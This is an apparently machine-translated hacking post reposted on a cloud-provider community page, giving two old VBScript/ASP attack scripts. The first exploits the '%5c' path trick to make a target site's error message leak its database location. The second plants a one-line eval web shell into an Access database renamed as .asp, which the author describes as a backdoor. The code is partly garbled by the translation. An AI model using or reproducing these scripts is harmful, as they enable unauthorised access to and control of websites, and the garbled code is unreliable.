Two scripts N years ago % 5c storm Library

Source: Internet
Author: User

Dim xstatus, tstatus, vserver, vheader, vrsbody
Geterror = inputbox ("Please enter the website, e.g.: http://www.hackerxfiles.com/files/list.asp? Id = 415 "," Enter URL "," http://www.hackerxfiles.com/files/list.asp? (ID = 415 ")
If geterror = "" then
Msgbox ("input error, Program End! ")
Wscript. Quit
End if

Geterror = strreverse (geterror)
Tem2 = 0
For I = 1 to Len (geterror)
If mid (geterror, I, 1) = CHR (47) and tem2 = 0 then
Temp = temp & "C5 %"
Tem2 = tem2 + 1
Else
Temp = temp & Mid (geterror, I, 1)
End if
Next
Geterror = strreverse (temp)

call xmlpost (geterror)
errortext = vserver & "& xstatus
basesaver = getstr (vrsbody," file not found '","'. "& CHR (10)
If basesaver =" [none] "then
basesaver = getstr (vrsbody, " '", "' is not a valid path. ")
end if
If basesaver =" [none] "then
basesaver = getstr (vrsbody," open registry keyword '","'. ")
end if

If basesaver = "[none]" then
Allreturn = "<title> mappath error obtaining database address lilo </title> <body scroll = 'no' bgcolor = 'menu 'style = 'border: 0pt; margin-left: 5pt '> <B> "& errortext &" </B> <br> <textarea rows = '15' name = 's1' Cols = '57 '>" & vrsbody & "</textarea>"
Else
Allreturn = "<title> mappath error obtaining database address lilo </title> <body scroll = 'no' bgcolor = 'menu 'style = 'border: 0pt; margin-left: 5pt '> <B> "& errortext &" </B> <br> <textarea rows = '15' name = 's1' Cols = '57 '>" & basesaver & "</textarea>"
End if

Call openwin (allreturn)
Set whshell = wscript. Createobject ("wscript. Shell ")
Whshell. appactivate "mappath error getting database address lilo"
'Whshell. sendkeys ("% {tab }")
Set whshell = nothing

Function urlencoding (vstrin)
Strreturn = ""
For I = 1 to Len (vstrin)
Thischr = mid (vstrin, I, 1)
If ABS (ASC (thischr) <& HFF then
Strreturn = strreturn & thischr
Else
Innercode = ASC (thischr)
If innercode <0 then
Innercode = innercode + & h10000
End if
Hight8 = (innercode and & hff00) \ & HFF
Low8 = innercode and & HFF
Strreturn = strreturn & "%" & hex (hight8) & "%" & hex (low8)
End if
Next
Urlencoding = strreturn
End Function

Function bytes2bstr (VIN)
Strreturn = ""
For I = 1 to lenb (VIN)
Thischarcode = ASCB (midb (Vin, I, 1 ))
If thischarcode <& h80 then
Strreturn = strreturn & CHR (thischarcode)
Else
Nextcharcode = ASCB (midb (VIN, I + 1, 1 ))
Strreturn = strreturn & CHR (clng (thischarcode) * & h100 + CINT (nextcharcode ))
I = I + 1
End if
Next
Bytes2bstr = strreturn
End Function

Function xmlpost (iurl)
On Error resume next
Ipost = urlencoding (ipost)
Set xpost = Createobject ("Microsoft. XMLHTTP ")
Xpost. Open "Post", iurl, false
Xpost. Send
Xstatus = xpost. Status
Tstatus = xpost. statustext
Vserver = xpost. getResponseHeader ("server ")
Vheader = xpost. getAllResponseHeaders
Vrsbody = bytes2bstr (xpost. responsebody)
Set xpost = nothing
End Function

Function getstr (vstring, istring, dstring)
Vsum = instr (vrsbody, istring)
If vsum = 0 then getstr = "[none]": Exit Function
Esum = instr (vsum, vrsbody, dstring)
If esum = 0 then getstr = "[none]": Exit Function
Getstr = mid (vrsbody, vsum + Len (istring), esum-vsum-len (istring ))
End Function

Function inttostr (vnum, vlen)
If Len (vnum)> = vlen then inttostr = vnum: Exit Function
For I = 1 to vlen-len (vnum)
Inttostr = inttostr & "0"
Next
Inttostr = inttostr & CSTR (vnum)
End Function

Function getsplit (unstr, vastr, Mode)
Atemp = Split (unstr, vastr)
Btemp = ubound (atemp)
Select case Mode
Case-1: getsplit = atemp
Case-2: getsplit = btemp
End select
If mode <0 Then exit function
If mode> btemp then getsplit = false: Exit Function
If mode> = 0 then getsplit = atemp (Mode)
End Function

Function openwin (vttv)
Set Ie = wscript. Createobject ("internetexplorer. application ")
Ie. navigate "about: blank"
Ie. Visible = 1
Ie. toolbar = 0
Ie. statusbar = 0
Ie. width = 500
Internet Explorer. Height = 335
Do While (ie. Busy): loop
Set Doc = ie. Document
Doc. Open
Execute "Doc. writeln" & CHR (34) & vttv & CHR (34)
Doc. Close
Set Ie = nothing
End Function

The other is written by me. Insert ASP into accessCodeAs a backdoor, this should have been my first initiative, but I do not know whether other people have discovered it earlier. Later, a message was circulated on the Internet to insert a sentence directly to the database to get webshell. Without knowing it, four years have passed and people are old. Is it just nostalgia?

<%

DB = "0123.asp" 'Here is your database address
Set conn = server. Createobject ("ADODB. Connection ")
Connstr = "provider = Microsoft. Jet. oledb.4.0; Data Source =" & server. mappath (db)
Conn. Open connstr
'Add notdownload table
Conn.exe cute ("create table notdownload (notdown oleobject )")
'Write <% data
Set rs = server. Createobject ("ADODB. recordset ")
SQL = "select * From notdownload"
Rs. Open SQL, Conn, 1, 3
Rs. addnew
RS ("notdown "). appendChunk (chrb (ASC ("<") & chrb (ASC ("S") & chrb ("C ")) & chrb (ASC ("R") & chrb (ASC ("I") & chrb (ASC ("p") & chrb (ASC ("T ")) & chrb (ASC ("") & chrb (ASC ("R") & chrb (ASC ("U") & chrb (ASC ("N ")) & chrb (ASC ("A") & chrb (ASC ("T") & chrb (ASC ("=") & chrb (ASC ("S ")) & chrb (ASC ("e") & chrb (ASC ("R") & chrb (ASC ("v") & chrb (ASC ("e ")) & chrb (ASC ("R") & chrb (ASC ("") & chrb (ASC ("L") & chrb (ASC ("")) & chrb (ASC ("N") & chrb (ASC ("G") & chrb (ASC ("U") & chrb (ASC ("")) & chrb (ASC ("G") & chrb (ASC ("e") & chrb (ASC ("=") & chrb (ASC ("J ")) & chrb (ASC ("A") & chrb (ASC ("v") & chrb (ASC ("A") & chrb (ASC ("S ")) & chrb (ASC ("C") & chrb (ASC ("R") & chrb (ASC ("I") & chrb (ASC ("p ")) & chrb (ASC ("T") & chrb (ASC (">") & chrb (ASC ("e") & chrb (ASC ("v ")) & chrb (ASC ("A") & chrb (ASC ("L") & chrb (ASC (") & chrb (ASC (" R ")) & chrb (ASC ("e") & chrb (ASC ("Q") & chrb (ASC ("U") & chrb (ASC ("e ")) & chrb (ASC ("S") & chrb (ASC ("T") & chrb (ASC (". ") & chrb (ASC (" F ") & chrb (ASC (" O ") & chrb (" R ")) & chrb (ASC ("M") & chrb (ASC ("(") & chrb (ASC ("'") & chrb (ASC ("#")) & chrb (ASC ("'") & chrb (ASC (")") & chrb (ASC ("+") & chrb (ASC ("'")) & chrb (ASC ("'") & chrb (ASC (")") & chrb (ASC ("<") & chrb (ASC ("/")) & chrb (ASC ("S") & chrb (ASC ("C") & chrb (ASC ("R") & chrb (ASC ("I ")) & chrb (ASC ("p") & chrb (ASC ("T") & chrb (ASC ("> ")))
Rs. Update
Rs. Close
Set rs = nothing
'Close the connection
Conn. Close
Set conn = nothing
%>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.